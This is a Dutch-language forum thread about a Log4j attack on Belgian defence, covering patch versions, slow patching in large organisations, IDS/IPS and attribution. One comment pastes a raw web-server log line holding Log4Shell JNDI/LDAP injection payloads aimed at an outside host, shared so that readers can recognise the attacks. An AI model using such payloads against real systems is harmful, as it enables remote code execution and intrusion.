Maar afhankelijk van je log4j configuratie heb je voldoende aan 2.15 om beschermd te zijn. 2.16 en 2.17 haken in op zaken die alleen in bepaalde (nog steeds wel regelmatig voorkomende) configuraties impact hebben. 2.15 ging in op een situatie die kwetsbaar was voor alle standaard-configuraties zodra iets van content waar een externe actor invloed op uit kon oefenen in een logbericht terecht kwam.

[Polderviking]

Dag later was niet alles in orde want er was een 2.15 2.16 en nu kennelijk een 2.17.

En de publicatie was vrijdagmiddag 4 uur ofzo. Dus er is ook nog best kans dat er voor veel bedrijven en instanties sowieso een weekend overheen is gegaan voordat helder was dat er wat moest gebeuren.

[Cergorach]

Dat is gewoon heel laks van hun ministerie. Log4J is op 9 december openbaar gemaakt dus als je op 16 december wordt aangevallen, dan heb je een week niets gedaan!

9 december in de VS, 10 december hier in Nederland/België, vervolgens kwamen er de 13e een nieuwe Log4J CVE bij (waarbij een hoop mensen dachten dat het hetzelfde issue was). Niet iedere leverancier is even vlot met patches en even accuraat qua melding.

Zoals @RobbieB zou de enige juiste actie zijn geweest alle public facing systemen af te sluiten, de vraag is hoe realistisch dat is. Ik vermoed dat maar weinig commerciële partijen dat hebben gedaan, laat staan overheidsinstanties.

Het vermoeden is dat we nog lang 'plezier' hebben van log4j en het nog maar even afwachten is of zelfs na de patches alles veilig is en blijft...

[Verwijderd]

Wat een kortzichtige reactie. Er is gewoon een aanval op de defensie van een Natoland gedaan. Niet door Europeanen lijkt me. Wanneer heeft de politiek de moed om hieraan consequenties te verbinden? We worden gewoon uitgelachen.

[Tubby]

Waarschijnlijk makkelijk vanaf de zijlijn, maar er zijn direct toepasbare hotfixes zoals startup params of scriptje om bepaalde classfiles uit je jars te friemelen.

Dit zou voor een organisatie zoals defensie toch gesneden koek moeten zijn?

[olafske]

Ik snap wat je zegt. Helaas is het ook zo dat als je een stukje automatisch laat verwijderen over je hele netwerk, dat je vitale software problemen kan krijgen. Daarom moet je helaas per case kijken of je iets kan verwijderen, moet updaten ( als het inhouse is, via je eigen devteam, anders moet het via de vendor) of het moet isoleren binnen je netwerk.

[X_pl0visi0n]

Is het dan wel wijs om kritieke infra op zo'n fragiele wijze te bouwen?
k'zit niet in de software wereld, maar dit vraag ik mij nu toch wel eens af.

[Cergorach]

Is het dan wel wijs om kritieke infra op zo'n fragiele wijze te bouwen?

Nee, maar dat is zoals je het nu zou bouwen. Maar dit is 60+ jaar geleden begonnen, uitgebreid, geupgrade, meer meuk aangehangen, meer legacy meuk, etc. Er is gewoon niet het budget/tijd voor om dat elke keer geheel van scratch opnieuw op te bouwen volgens de dan geldende optimale beveiligingsnormen.

Grote organisaties hebben gewoon heel veel software, jaren geleden bij een hoge school rondgelopen waarbij ze alleen al 1500+ gebruikers applicaties hadden draaien, dan nog alle IT beheer software. Als al die applicaties specifieke updates nodig zouden hebben, zou het formaat van het IT team dat nooit allemaal in een paar dagen kunnen fixen. Zeker niet als ze dan een paar dagen later het nog een keer mogen doen ivm. weer een nieuwe bug. Bij de overheid zou ik niet willen weten hoeveel applicaties er rondslingeren. Ik vermoed dat het voor een IT team alleen al een dagtaak is momenteel om te checken welke applicaties 100% wel of geen log4j gebruiken, welke versie er zit in de applicatie versie die ze nu gebruiken, welke applicatie versie ze moeten hebben om te patchen, welke versie van log4j daar inzit, wat voor impact heeft het als er geen patch voor is en je verwijderd/zet deze uit, etc. Al die meuk packagen, deployen, controle, etc. Dit zijn normaal acties die je verspreid over maanden, niet een paar dagen (sommige applications worden slechts 1 of 2 maal per jaar gepatched).

[olafske]

Als je dat niet doet, ben je eigenlijk per applicatie het wiel opnieuw aan het uitvinden. Daarnaast is de kans dan vele maten groter dat er foutjes in de software komen omdat niet iedereen even veel kennis heeft om bepaalde dingen te schrijven. Als voorbeeld: Tijd. Alle software moet op een of andere manier de tijd bijhouden. Ze kunnen het 1 op 1 van het OS overnemen als je de software alleen op een gebruikersmachine hebt draaien, maar als je software op een server hebt draaien, waar landen van verschillende tijdzones mee te maken hebben, dan zou elke losse applicatie developer van elk land de tijdzones bij moeten houden. Vergeet dan niet de zomer en wintertijd van elk land. Noord Korea loopt dan weer een half uur voor. Landen veranderen hier ook nog wel eens mee. Dit zou voor elke losse applicatie veel werk zijn om bij te houden, en als je een foutje maakt, dan zou het zo kunnen zijn dat bijvoorbeeld het overmaken van geld een uur eerder ergens aankomt, dan dat het verzonden is. Dat gaat dan een beetje fout. Gelukkig zijn hier zogenoemde Library's voor die je kan gebruiken. In het geval van Log4J gaat het over een library die zorgt voor logging, waar heel veel applicaties gebruik van maken. https://i.redd.it/f7x9xwrvquh51.png Het hergebruiken van code zorgt ervoor dat het bouwen van applicaties een stuk sneller gaat, en omdat er mensen zijn die de library's bijhouden er over het algemeen meer vanaf weten is de kwaliteit van die code over het algemeen een stuk hoger. Maar aan de andere kant, als die Library een kwetsbaarheid heeft, is direct iedereen die daar gebruik van maakt kwetsbaar. En in het geval van Log4J dat je een java of open source applicatie draait kan je nog wel zelf het een en ander uitzetten. Wellicht maak je daarmee de boel kapot, maar de code is in ieder geval nog inzichtelijk. In het geval van gesloten software (VMWare bijvoorbeeld, ook kwetsbaar) moet je gewoon wachten tot de vendor met een patch komt. Voor alles valt dus wat te zeggen, het gebruik van library's heeft zowel voor als nadelen. Ik zie op deze tweakers pagina wel her en der mensen roepen die zoeken op Log4J, dat verwijderen en dan zeggen dat ze veilig zijn. Dit werkt dus alleen bij software waarin je dit ook daadwerkelijk in de code kan kijken. Bij gesloten software heb je echt speciale software nodig uit te vinden dat je kwetsbaar bent. VMDR (Vulnerability management, Detection and Response) zal dan ook iets zijn wat (als het goed is) elk groot bedrijf gebruikt om kwetsbaarheden te vinden in software en op de hoogte gehouden worden wanneer er ergens iets aan gedaan moet worden. Bijvoorbeeld Qualys bied dergelijke mogelijkheden aan, maar ook Windows Defender uit E3+ Defender of E5 microsoft geeft dezelfde mogelijkheden (grappig trouwens dat Defender gebruik maakt van de Qualys engine).

[oef!]

In de IT maak je nu eenmaal zoveel mogelijk gebruik van vertrouwde standaard componenten en log4j is er daar een van. Hiervan afwijken zou extra tijd en geld kosten en, belangrijker, is normaliter onnodig.

Log4j maakt iets niet inherent fragiel, bugs in heel andere software zouden hetzelfde resultaat kunnen hebben qua impact.

[Beyond]

Inderdaad makkelijk praten vanaf de zijlijn...

[JustAnotherDev]

Niet vanaf de zijlijn, werkende bij een organisatie die als kritische infrastructuur is bestempeld binnen Nederland, maar als je donderdag nog je zaken niet op orde hebt gehad dan vind ik dat wel verwijtbaar.

[Tubby]

Ja klopt, ook mijn zijlijn hoor, maar ik heb ergens in 2014 een afslag richting slf4j en logback genomen en sindsdien nooit meer terug gekeken naar log4j

[Beyond]

Maak je geen gebruik van log4j-over-slf4j bridge?

[Tubby]

Spring wel ja, maar de kwetsbaarheid zit in log4j-core en niet in de bridge. De bridge zorgt ervoor dat de API's van log4j in slf4j worden gebridged, het resolven van stuff in de logging wordt door de log4j implementatie gedaan.

Voor de volledigheid; https://spring.io/blog/20...erability-and-spring-boot

[Frame164]

Bij diverse van mijn klanten is een planning gemaakt voor het patchen van alle systemen en dat kost gemiddeld 6 weken. Als je domweg snel gaat patchen is er altijd een kans dat end-to-end services problemen krijgen. Daarom moet dat toch gecontroleerd gedaan worden, incl. roll back procedures.

[FreezeXJ]

Wait wut? Is hun systeem zo goedkoop dat ze 6 weken downtime accepteren, of hebben ze te hard bezuinigd op een nette CI/CD straat? Dit soort dingen zou je snel moeten kunnen uitrollen, en pas bij problemen snel terug/uit kunnen zetten, want erg veilig is het niet

[mjtdevries]

En daar zit dus het verschil tussen theorie en werkelijkheid.

Het is uiteraard niet 1 applicatie die 6 weken kost, maar de honderden applicaties die allemaal tegelijkertijd aangepakt moeten worden met een beperkte groep mensen.
Die je allemaal snel wilt uitrollen, met een rollback plan, en dat heeft allemaal tijd nodig. En dat staat allemaal los van het wel of niet hebben van een CI/CD straat.

[Beyond]

Er draaien zo verschrikkelijk veel applicaties, als je die allemaal moet updaten met vendor jars. die allemaal weer andere versies van andere jars binnentrekken, dan is dat niet even binnen een uur geregeld. Classfiles uit jars friemelen lijkt mij sowieso geen goed idee. Eerst was v2.15 van log4J veilig en nu zitten ze alweer op 2.17.

[FreezeXJ]

Sure, die dependency hell is heel vervelend, maar ik durf best naar prod te gaan met 2.17 in een 2.15 gehakt als het maar door m'n test-straatje heen gegaan is. Zeker als het alternatief 'down' is.
Nee het is niet 100% getest en gegarandeerd, maar doorgaan met lekke versies is ook een mooie no-go. Dus advies aan de product owner is dan ook: door met de duct-tape versie. Die vervangen we dan door een nette versie met afgestikte bandjes als die uit is.

[walteij]

Je weet dat de lijst met producten die gebruik maken van log4j dagelijks nog groeit he?
En dat tot 5 dagen geleden gedacht werd dat versie 2.16 veilig was, maar dat 4 dagen geleden ineens veranderde.
Je bent daarnaast ook gewoon afhankelijk van allerlei leveranciers die hun producten (te) traag updaten. Bij mijn huidige opdracht zijn we de afgelopen week ook dagelijks bezig geweest met updates van producten, contact opnemen met leveranciers voor updates, applicaties offline plaatsen, opnieuw applicaties upgraden en we verwachten ook deze week nog de nodige werkzaamheden te hebben door dit lek.

[Luchtbakker]

Ik denk dat je half niet weet hoeveel systemen en oude applicaties het zijn. Daarnaast... Een productie omgeving update je niet zomaar even zonder eerst uitgebreid getest te hebben.

Er zitten meer kanten aan dit verhaal. Daarvan ben ik overtuigd.

[Reactie gewijzigd door Luchtbakker op 23 juli 2024 08:35]

[Frame164]

Precies dat.

Als mensen zeggen dat ze het allemaal veel sneller kunnen doen vraag ik altijd of ze ook veel sneller willen gaan doen. En commitment daarop durven te geven.

[Tadango]

Blijkbaar tijd om die policy aan te passen. Wat heb je liever? Productie plat door een eigen actie wat je terug kan draaien of plat door hackers? De instelling: het is productie dus afblijven, is echt niet meer van deze tijd. Wij releases dagelijks naar productie om snel oplossingen te kunnen uitrollen. Het is een andere mindset maar werkt super en de klanten zijn enorm blij met super snelle service en willen echt niet meer terug.

[Krystman]

Daar heb je het probleem. Overheid heeft geen klanten. Alleen PO's die het wel prima vinden, want het werkt toch. De incentive om geld te verdienen of aandeelhouders tevreden houden is er niet. En elk jaar word er wel gedreigd met bezuinigingen (boy who cried wolf) maar de medewerkers gaan er echt niet harder om lopen of minder om verdienen...
De "nieuwe generatie" heeft volgens mij wel meer "zin" om het goed te doen, maar dat moet (m.i.) nog uitlopen.

[goarilla]

De incentive om geld te verdienen of aandeelhouders tevreden houden is er niet.

En dan, die incentive heeft niks te maken met veiligheid. Genoeg commerciele bedrijven die hun IT dienst afslanken om hun aandeelhouders tevreden te kunnen houden en daarmee afbreuk doen aan hun eigen veiligheid.

De "nieuwe generatie" heeft volgens mij wel meer "zin" om het goed te doen, maar dat moet (m.i.) nog uitlopen.

Ja dat herken ik nog ... en dan kom je in een organisatie met 30ers,40ers,50ers,60ers en nog een paar 70ers en dan leer je na een paar jaar dat bovenal het moet blijven werken voor iedereen ! Je bent immers niet de enige scheepsman in de boot !!! En die 60ers en 70ers die hebben nog de intrede van de eerste en destijds enige computer meegemaakt.

[mjtdevries]

De instelling: het is productie dus afblijven, is echt niet meer van deze tijd.

Ik ben benieuwd hoe jij reageert als je niet kunt pinnen, omdat er wat mis is gegaan bij een update.

"Het is productie, dus afblijven" is altijd genuanceerd geweest. Voor jouw klanten is enige downtime van productie blijkbaar niet zo erg. Fijn voor jou.
Er zijn echter zat klanten waarbij de situatie totaal anders is.

Wat er in deze tijd veranderd is, is dat we klanten voor wie enige downtime niet spannend is, veel sneller nieuwe diensten aanbieden, zodat we sneller feedback krijgen.

[aikebah]

Liever dat, dan dat ik niet meer kan pinnen omdat er iets mis ging door een niet-update, waardoor nu al mijn geld van mijn rekening is weggesluisd en ik dus te weinig saldo heb.

[flossed]

zijn nog bezig om een PM te zoeken die dit programma kan opzetten.

[bschelst]

ze zijn het nog aan het vertalen naar het Frans mogelijks.

[Iblies]

Het is makkelijker om iets wat je niet helemaal begrijpt weg te zetten als een aanval.


Je hebt “politici” en meer managers van bedrijven die er steeds meer op sturen om belastinggeld naar ICT te sturen om
winsten veilig te stellen.


Alleen lost dat niks op. Wat je nodig hebt is mensen die verstand van zaken hebben en laat daar een heel grote discrepantie zijn.
Heel veel ict-zaken zijn nog steeds uitbesteden aan verschillende landen waar wel steeds meer kennis wordt opgedaan.


Overheidsinstanties zouden de eerste bedrijven moeten zijn met alle technici en hardware mbt ict en software binnen de landsgrenzen (EU ?)
de tweede zijn de zogeheten “essentiële” beroepen waar dus oa supermarkten en energie onder vallen.

[Auredium]

Aan 1 kant is het zo dat ik verwacht dat Log4J en de eruit voort komende kwetsbaarheden zoals inmiddels traditie is worden misbruikt op 24 december om netwerken te infiltreren voor o.a. cryptologgers. Deze aanval is dus wat sneller. Aan de andere kant ligt Log4J en Log4Shell onder de loep en zullen overheidshackers zoals die van Rusland en China zo snel mogelijk de lekken willen misbruiken voor ze gepatched zijn.
Ik weet ik weet, er staat nergens dat dit een overheids hack was..

[RobbieB]

De hele hackerscene zit nu volledig gefocust op Log4j, belangrijkste redenen:
- Gigantisch wijdverspreid, vrijwel iedere organisatie wereldwijd is hier door getroffen
- Absurd eenvoudig om te misbruiken. Remote Code Execution via een eenvoudige payload die geen enkele vorm van authenticatie/autorisatie nodig heeft

Heel simpel gezegd, als je afgelopen maandag een publiek endpoint had dat hiervoor kwetsbaar was moet je aannemen dat je geinfiltreerd bent. Als je dat niet ziet, is je monitoring niet op orde en zou ik zo snel mogelijk een incident response en forensics bedrijf inschakelen.

En omdat iedereen op Log4J zit, is het erg waarschijnlijk dat er meer en meer kwetsbaarheden naar voren zullen komen (dat zie je de afgelopen week al, we zijn inmiddels al 3 patches verder).

Tenslotte, het hoeft geen overheidshack te zijn, maar gezien het target is dit wel waarschijnlijk. maar het kunnen ook APT's uit bv. Rusland/China zijn die de informatie doorverkopen aan de overheden daar. Zeker in Rusland is er veel uitwisseling tussen de ransomware groepen en de overheids APT's. Van zowel gegevens als aanvalsvectoren.

Overigens verwacht ik hier de komende weken/maanden nog veel meer ellende van. Juist omdat veel bedrijven niet weten dat ze kwetsbaar zijn of niet detecteren dat ze gecompromiteerd zijn.

[Auredium]

Ow ik verwacht ook grote gevolgen hiervan. Veel bedrijven zullen ransomware krijgen. Er komen nieuwe gelekte lijsten met wachtwoorden en e-mail adressen. Het wordt weer tijd om je accounts te screenen en de hoeveelheid spam zal wel ver vier-voudigen voor het komende jaar.

[Vorkie]

Wisten jullie al dat versie 2.17 ondertussen uit is!

https://www.zdnet.com/goo...of-service-vulnerability/

[aikebah]

Tuurlijk Zaterdagavond al een release voor gebrouwen toen het nieuws doorsijpelde

[The Ghost]

Er word best wel heel actief aangevallen, ik kom ze ook in mijn logs tegen.

20.126.158.82 - - [19/Dec/2021:16:46:15 +0100] "POST /?id=%24%7Bjndi%3Aldap%3A%2F%2Fsidn-divd-c6vl7huj8c872ot64lqg_%24%7Bdate%3AYYYYMMddHHmmss%7D_http_id.log4jdns.x00.it%2F%7D&page=%24%7Bjndi%3Aldap%3A%2F%2Fsidn-divd-c6vl7huj8c872ot64lqg_%24%7Bdate%3AYYYYMMddHHmmss%7D_http_page.log4jdns.x00.it%2F%7D&search=%24%7Bjndi%3Aldap%3A%2F%2Fsidn-divd-c6vl7huj8c872ot64lqg_%24%7Bdate%3AYYYYMMddHHmmss%7D_http_search.log4jdns.x00.it%2F%7D HTTP/1.1" 200 4456 "${jndi:ldap://sidn-divd-c6vl7huj8c872ot64lqg_${date:YYYYMMddHHmmss}_http_Referer.log4jdns.x00.it/}" "${jndi:ldap://sidn-divd-c6vl7huj8c872ot64lqg_${date:YYYYMMddHHmmss}_http_User-Agent.log4jdns.x00.it/}"

[Caayn]

Zijn er nu ook niet partijen gewoon met hagel aan het schieten in de hoop dat ze iets raken? Grote kans dat je een Java applicatie tegenkomt waar vervolgens ook nog eens Log4J wordt gebruikt.

[walteij]

Er zijn 2 soorten partijen die nu scannen.
1) Partijen die (zoals jij zegt) met hagel schieten in de hoop iets te raken en er misbruik van kunnen maken.
2) Partijen die actief overal aan het scannen zijn en waarschuwingen gaan sturen naar de eigenaars van de lekke servers.

In onze logs kwamen we ook veel scans tegen, meerendeel was gelukkig van niet-kwaadwillenden. Beide groepen werden overigens (mede dankzij ssl offloading) afgevangen door IPS&firewalls.

[The Ghost]

Klopt, het word veelvuldig afgevuurd, mijn stukje log was puur als indicatie, zodat mensen het herkennen.

Dat er ook goedwillende partijen tussen zitten, begrijp ik wel, maar merendeel is niet zo goed willend.

[ACM]

Ja, dat is in mijn ervaring wat er standaard gebeurt. Miljoenen requests afvuren op allerlei verschillende urls/service met allerlei kleine verschillen in de inhoud van de request.

En als beheerder is dat dan extra frustrerend, want eigenlijk is dat gewoon een DoS-aanval die verder geen praktisch nut meer heeft vanuit het beveiligingsperspectief. Waarom zou als blijkt dat tweakers.net/nieuws/190946 niet lek is, tweakers.net/nieuws/190948 dan wel lek zijn?

[misjeleke]

.

[Reactie gewijzigd door misjeleke op 23 juli 2024 08:35]

[misjeleke]

?

[cardboardgenie]

Is het willekeur dat het België is, of toch omdat de EU top vanuit Brussel werkt? Ik zou verder niet zo goed kunnen bedenken waarom je de Belgische overheid zou aanvallen. Even van uit gaan dat het hier om (staats)terrorisme gaat.

[Blokker_1999]

Kan zelfs gewoon willekeur zijn in dat het niet eens een gericht doelwit was maar gewoon 1 van de vele botnets die heel het internet aan het afgaan is op zoek naar kwetsbare systemen om deze op te nemen in het botnet.

[familyman]

Zo'n andere gedachte die helemaal uit de 5ijd is, er wordt alleen gericht gezocht, ze vinden hier toch niks, etc.....

Inderdaad, moet je eens een ssh poort openzetten.....

[OMEGA_ReD]

Ik vraag me af, zijn er ook systemen die je tussen je verkeer kunt zetten die verdacht monitort en zelfs blokkeert? Je ziet dat AV pakketen ook suspicious activity kunnen blocken zelfs als de definities nog niet beschikbaar zijn voor een bepaalde virus/worm.

[goarilla]

Er zijn IPS/IDS systemen (Snort, Surricata) die je inline kunt instellen om automagisch requests te blokkeren. Maar die dingen zijn niet simpel. Een simpele set and forget is er niet bij. Ze hebben allemaal een eigen ruleset en configuratie language die je ga moeten leren. En de overhead van zoiets is veel groter dan een simpele firewall.

[niqck]

IDS/IPS: Intrusion Detection/Prevention Systems
WAF: Web Applicaiton Firewalls

Maar: regels moeten up-to-date zijn. Je kan ook heuristics/behavorial rules hebben maar dan moet je opletten dat je niet teveel false positives hebt. Als bedrijf (webshop, dienstenverlener, bank, etc...) wil je niet dat je klanten plots onderbroken worden door een slecht werkende regel.

En, die dingen zijn niet gratis. Aanschaf, onderhoud/abonnement etc + iedere schakel vertraagt je systeem.

[satya]

dat kan, bij ons zorgen systemen van fortigate daarvoor.

[Takkie]

"Mwaah Gertje, ik moest loggen want mijn shell deed het niet!"

[MeMoRy]

Ik heb in onze logs ook gezien dat mensen de payload aan het uitproberen waren op onze servers. Het is maar weer duidelijk hoeveel script kiddies er rondlopen. Of scraping bots.

C.q. patch asap.

[Cobalt]

Je kan toch zien dat het van je medewerker afkomstig is ip misschien afspreken een header mee te geven etc. Het wordt tijd voor betere wetgeving

[Anonymoussaurus]

Een IP-adres zegt niet per se of het een scan is van een white hat of black hat, en al helemaal niet als er VPN's en Tor relays gebruikt worden.

[goarilla]

Ik heb altijd het gevoel dat m'n een bepaalde groep probeert weg te schrijven om discutabele skills (pentesting, cracking, ...). Terwijl m'n zelf die skills meestal niet beheerst. Er zit volgens mij zowel bewondering als verrachting in die pejoratief.

[MeMoRy]

Naast dat we helemaal geen PEN test hebben lopen, is aan het IP adres te zien dat het niet klopt (enkele IPs kwamen zelfs voor in databases van bronnen die bekend staan op aanvallen)
Verder is de payload vaak de standaard die je in heel veel online bronnen kan vinden. Dus gewoon copy paste, c.q. script kiddies.
Maar goed, geen zin in flame war